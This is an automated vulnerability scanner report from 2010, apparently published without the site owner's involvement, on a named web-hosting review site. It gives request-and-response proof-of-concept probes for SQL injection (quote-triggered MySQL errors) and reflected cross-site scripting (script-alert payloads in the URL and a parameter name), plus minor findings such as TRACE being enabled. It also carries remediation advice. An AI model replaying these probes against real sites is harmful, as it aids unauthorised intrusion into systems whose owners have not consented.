1and1webhosting.com | CWE-79 | CWE-89 | XSS | SQLi | Hoyt LLC Research

Cross Site Scripting, SQL Injection, Vulnerability Crawler Report

Report generated by XSS.CX at Thu Dec 09 19:43:23 CST 2010.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

CWE-89 and CWE-79 Report for 1and1webhosting.com

1. SQL injection

1.1. http://1and1.askwebhosting.com/review-coupons.html [REST URL parameter 1]

1.2. http://1and1.askwebhosting.com/review-coupons.html [name of an arbitrarily supplied request parameter]

2. Cross-site scripting (reflected)

2.1. http://1and1.askwebhosting.com/review-coupons.html [REST URL parameter 1]

2.2. http://1and1.askwebhosting.com/review-coupons.html [name of an arbitrarily supplied request parameter]

3. Cross-domain script include

4. TRACE method is enabled

5. Robots.txt file



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://1and1.askwebhosting.com/review-coupons.html [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /review-coupons.html' HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 404 Not Found
Date: Fri, 10 Dec 2010 01:30:58 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 218
Connection: close
Content-Type: text/html; charset=ISO-8859-1

ERRORYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1and1.askwebhosting.com/review-coupons.html'' limit 0,1' at line 1Query Error

Request 2

GET /review-coupons.html'' HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 404 Not Found
Date: Fri, 10 Dec 2010 01:30:58 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 45
Connection: close
Content-Type: text/html; charset=ISO-8859-1

1and1.askwebhosting.com/review-coupons.html''

1.2. http://1and1.askwebhosting.com/review-coupons.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /review-coupons.html?1'=1 HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:38 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 173
Connection: close
Content-Type: text/html; charset=ISO-8859-1

ERRORYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' limit 0,1' at line 1Query Error

Request 2

GET /review-coupons.html?1''=1 HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:38 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 49
Connection: close
Content-Type: text/html; charset=ISO-8859-1

1and1.askwebhosting.com/review-coupons.html?1''=1

2. Cross-site scripting (reflected)  previous  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://1and1.askwebhosting.com/review-coupons.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f3449<script>alert(1)</script>77b792fb5d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /review-coupons.htmlf3449<script>alert(1)</script>77b792fb5d2 HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 10 Dec 2010 01:30:58 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 84
Connection: close
Content-Type: text/html; charset=ISO-8859-1

1and1.askwebhosting.com/review-coupons.htmlf3449<script>alert(1)</script>77b792fb5d2

2.2. http://1and1.askwebhosting.com/review-coupons.html [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 3bc92<script>alert(1)</script>0bd83413d89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /review-coupons.html?3bc92<script>alert(1)</script>0bd83413d89=1 HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:38 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Content-Length: 87
Connection: close
Content-Type: text/html; charset=ISO-8859-1

1and1.askwebhosting.com/review-coupons.html?3bc92<script>alert(1)</script>0bd83413d89=1

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /review-coupons.html HTTP/1.1
Host: 1and1.askwebhosting.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:34 GMT
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.4
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 61577

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML><HEAD>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">
<meta http-equiv="content-type" content="text/html; charset=UTF-8"
...[SNIP]...
</a><script type="text/javascript"
src="http://s7.addthis.com/js/200/addthis_widget.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.3dstats.com/cgi-bin/3dstrack.cgi?usr=00000460"></script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&amp;lang=en"></script>
...[SNIP]...

4. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: 1and1.askwebhosting.com
Cookie: 50ba8bbc05a68833

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:35 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: 1and1.askwebhosting.com
Cookie: 50ba8bbc05a68833


5. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://1and1.askwebhosting.com
Path:   /review-coupons.html

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: 1and1.askwebhosting.com

Response

HTTP/1.1 200 OK
Date: Fri, 10 Dec 2010 01:30:35 GMT
Server: Apache
Last-Modified: Sun, 31 Aug 2008 22:41:08 GMT
ETag: "17f8551-48-2ec08900"
Accept-Ranges: bytes
Content-Length: 72
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /include/
Disallow: /cgi-bin/
Disallow: /openx/

Report generated by XSS.CX at Thu Dec 09 19:43:23 CST 2010.